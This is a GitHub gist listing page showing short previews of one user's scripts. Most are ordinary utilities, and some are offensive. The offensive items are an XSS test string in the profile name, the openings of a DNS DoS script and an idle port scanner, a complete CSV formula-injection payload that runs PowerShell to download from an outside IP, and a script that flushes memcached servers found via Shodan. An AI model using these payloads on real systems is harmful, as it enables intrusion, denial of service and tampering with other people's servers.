Skip to content

Instantly share code, notes, and snippets.

🔴
<script>alert(1);</script>

Edoardo Rosa edoz90

🔴
<script>alert(1);</script>
Block or report user

Report or block edoz90

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@edoz90
edoz90 / Thunderbird unibo
Created Oct 15, 2016
Configurare Thunderbird per la mail studio.unibo.it
View Thunderbird unibo
###############################################
Configurazione per Thunderbird per mail Unibo #
###############################################
# Server IMAP
Server Name: outlook.office365.com
Port: 993
Security: SSL/TLS
Authentication: Normal Password
@edoz90
edoz90 / dosnslookup.py
Last active May 14, 2017
Multi-threading script for simple DNS DOS.
View dosnslookup.py
#!/usr/bin/python2
from threading import Thread
from threading import Event
from threading import stack_size
from Queue import Queue
from Queue import Empty
import os
@edoz90
edoz90 / trashUpdate
Last active May 14, 2017
[Trashware] Update Linux Mint and change the default background
View trashUpdate
#!/bin/bash
if [ `id -u` -ne 0 ]; then
printf "The script must be run as root!\n"
exit 1
fi
# Adds a progressbar
TEMPFILE=/etc/apt/apt.conf.d/00newconftemp
echo 'Dpkg::Progress-Fancy "1";' > /etc/apt/apt.conf.d/99progressbar
@edoz90
edoz90 / idlescanner.py
Created May 14, 2017
Dumb script to perform a zombie (idle) port scan using some free non-related service like imgur (by Martin Obiols)
View idlescanner.py
#!/usr/bin/python
'''
Dumb script to perform a zombie (idle) port scan
using some free non-related service like imgur
Questions/Comments:
twitter.com/olemoudi
http://blog.makensi.es
@edoz90
edoz90 / checkBTC.zsh
Last active Aug 31, 2017
Get information of a BTC address of a file with BTC addresses using blockexplorer
View checkBTC.zsh
#!/usr/bin/env zsh
#
# Usage: checkBTC.zsh "myBTCaddress" [.balance]
# or
# Usage: checkBTC.zsh ./listofBTCAddr.txt [.balance]
#
local baseURL="https://blockexplorer.com/api"
validateAddr() {
View goenv.zsh
#!/usr/bin/env zsh
#
# create a Go workspace
# Author: edoz90
# Usage: `source goenv.zsh [-u|--update]`
#
_GO_PROJECT_DIR="${_:a:h}"
if [[ $(command -v go) ]]; then
@edoz90
edoz90 / share_eth0.zsh
Created Feb 7, 2018
Share WIFI network with a wired device (i.e.: RaspberryPI) using dnsmasq
View share_eth0.zsh
#!/usr/bin/env zsh
INTERFACE_WIRED="enp6s0"
INTERFACE_INTERNET="wlp2s0"
sudo ip addr add 192.168.2.1/24 dev ${INTERFACE_WIRED}
# NAT
sudo iptables -A FORWARD -o eth0 -i ${INTERFACE_WIRED} -s 192.168.2.0/24 -m conntrack --ctstate NEW -j ACCEPT
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -t nat -F POSTROUTING
@edoz90
edoz90 / getETH.py
Last active Feb 28, 2018
Check current informations from ethermine API and ETH/EUR value
View getETH.py
#!/usr/bin/env python3
import aiohttp
import asyncio
import async_timeout
import datetime
from colored import fg, stylize, attr
wallet_address = "ADDRESS"
urlAPI = "https://api.ethermine.org/miner/{}".format(wallet_address)
coinbase = "https://www.coinbase.com/api/v2/prices/ETH-EUR/spot"
@edoz90
edoz90 / inj.csv
Last active Mar 3, 2018
CSV Formula Injection
View inj.csv
We can make this file beautiful and searchable if this error is corrected: No commas found in this CSV file in line 0.
=cmd|' /k poweRSheLL "(New-Object System.Net.WebClient).DownloadString(''http://10.3.10.1:3445'')"'!A0
@edoz90
edoz90 / anti-memcached.py
Last active Mar 12, 2018
List of all memcached servers from shodan and script to kill (flush_all) DDoSing IPs.
View anti-memcached.py
#!/usr/bin/env python
import json
import socket
import urllib.request
from random import shuffle
def send_flush(s):
s.sendall("{}\r\n".format("flush_all").encode())
print(s.recv(4096).decode().strip())
You can’t perform that action at this time.